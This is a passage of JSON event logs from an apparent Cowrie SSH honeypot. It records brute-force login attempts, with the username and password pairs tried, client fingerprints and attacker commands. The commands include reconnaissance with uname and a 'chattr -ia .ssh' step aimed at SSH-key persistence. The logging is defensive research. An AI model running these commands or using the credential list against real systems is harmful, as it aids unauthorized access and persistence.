03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:25:45.653347Z","src_ip":"159.223.57.48","session":"a0dda4a1fdba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"u1","password":"1234","message":"login attempt [u1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:25:46.669122Z","src_ip":"159.223.57.48","session":"a0dda4a1fdba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:25:47.919704Z","src_ip":"159.223.57.48","session":"a0dda4a1fdba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":51468,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b22c5257a07","protocol":"ssh","message":"New connection: 92.118.39.92:51468 (159.203.135.109:22) [session: 8b22c5257a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:26:33.524568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:26:33.529140Z","src_ip":"92.118.39.92","session":"8b22c5257a07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:26:33.624496Z","src_ip":"92.118.39.92","session":"8b22c5257a07","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:26:34.196703Z","src_ip":"92.118.39.92","session":"8b22c5257a07","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:26:34.476990Z","src_ip":"92.118.39.92","session":"8b22c5257a07","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:26:34.480635Z","src_ip":"92.118.39.92","session":"8b22c5257a07","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:26:34.585845Z","src_ip":"92.118.39.92","session":"8b22c5257a07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:26:34.590562Z","src_ip":"92.118.39.92","session":"8b22c5257a07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.211.185","src_port":58620,"dst_ip":"159.203.135.109","dst_port":22,"session":"9620c4925c17","protocol":"ssh","message":"New connection: 103.13.211.185:58620 (159.203.135.109:22) [session: 9620c4925c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:26:47.021580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:26:47.120499Z","src_ip":"103.13.211.185","session":"9620c4925c17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:26:47.221727Z","src_ip":"103.13.211.185","session":"9620c4925c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jira","password":"1234","message":"login attempt [jira/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:26:47.725950Z","src_ip":"103.13.211.185","session":"9620c4925c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:26:48.830414Z","src_ip":"103.13.211.185","session":"9620c4925c17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.67.80.61","src_port":37236,"dst_ip":"159.203.135.109","dst_port":22,"session":"894eaca6bdd9","protocol":"ssh","message":"New connection: 103.67.80.61:37236 (159.203.135.109:22) [session: 894eaca6bdd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:27:29.070336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:27:29.075193Z","src_ip":"103.67.80.61","session":"894eaca6bdd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:27:29.312522Z","src_ip":"103.67.80.61","session":"894eaca6bdd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"viper","password":"viperpass","message":"login attempt [viper/viperpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:27:30.287700Z","src_ip":"103.67.80.61","session":"894eaca6bdd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:27:31.527183Z","src_ip":"103.67.80.61","session":"894eaca6bdd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":58784,"dst_ip":"159.203.135.109","dst_port":22,"session":"56b90b32ce4a","protocol":"ssh","message":"New connection: 159.223.57.48:58784 (159.203.135.109:22) [session: 56b90b32ce4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:28:02.988055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:28:02.993145Z","src_ip":"159.223.57.48","session":"56b90b32ce4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:28:03.237690Z","src_ip":"159.223.57.48","session":"56b90b32ce4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"showroom","password":"Showroom123","message":"login attempt [showroom/Showroom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:28:04.248890Z","src_ip":"159.223.57.48","session":"56b90b32ce4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:28:05.496854Z","src_ip":"159.223.57.48","session":"56b90b32ce4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.211.185","src_port":47358,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d277e359944","protocol":"ssh","message":"New connection: 103.13.211.185:47358 (159.203.135.109:22) [session: 3d277e359944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:28:33.721400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:28:33.725580Z","src_ip":"103.13.211.185","session":"3d277e359944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:28:33.825665Z","src_ip":"103.13.211.185","session":"3d277e359944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"viper","password":"viperpass","message":"login attempt [viper/viperpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:28:34.321928Z","src_ip":"103.13.211.185","session":"3d277e359944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:28:35.422441Z","src_ip":"103.13.211.185","session":"3d277e359944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":38712,"dst_ip":"159.203.135.109","dst_port":22,"session":"58c2fd160b6b","protocol":"ssh","message":"New connection: 92.118.39.92:38712 (159.203.135.109:22) [session: 58c2fd160b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:28:52.077061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:28:52.081201Z","src_ip":"92.118.39.92","session":"58c2fd160b6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:28:52.181183Z","src_ip":"92.118.39.92","session":"58c2fd160b6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:28:52.480172Z","src_ip":"92.118.39.92","session":"58c2fd160b6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:28:53.581870Z","src_ip":"92.118.39.92","session":"58c2fd160b6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.67.80.61","src_port":50014,"dst_ip":"159.203.135.109","dst_port":22,"session":"61f751b7ed67","protocol":"ssh","message":"New connection: 103.67.80.61:50014 (159.203.135.109:22) [session: 61f751b7ed67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:29:26.750147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:29:26.754551Z","src_ip":"103.67.80.61","session":"61f751b7ed67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:29:26.990142Z","src_ip":"103.67.80.61","session":"61f751b7ed67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backupuser","password":"root","message":"login attempt [backupuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:29:27.965575Z","src_ip":"103.67.80.61","session":"61f751b7ed67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:29:29.203159Z","src_ip":"103.67.80.61","session":"61f751b7ed67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":51620,"dst_ip":"159.203.135.109","dst_port":22,"session":"59c9306dda0b","protocol":"ssh","message":"New connection: 159.223.57.48:51620 (159.203.135.109:22) [session: 59c9306dda0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:28.976367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:28.980728Z","src_ip":"159.223.57.48","session":"59c9306dda0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:29.233806Z","src_ip":"159.223.57.48","session":"59c9306dda0b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qazQAZ123!@#","message":"login attempt [root/qazQAZ123!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:30.287978Z","src_ip":"159.223.57.48","session":"59c9306dda0b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:30.833617Z","src_ip":"159.223.57.48","session":"59c9306dda0b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:30.836551Z","src_ip":"159.223.57.48","session":"59c9306dda0b","protocol":"ssh"}
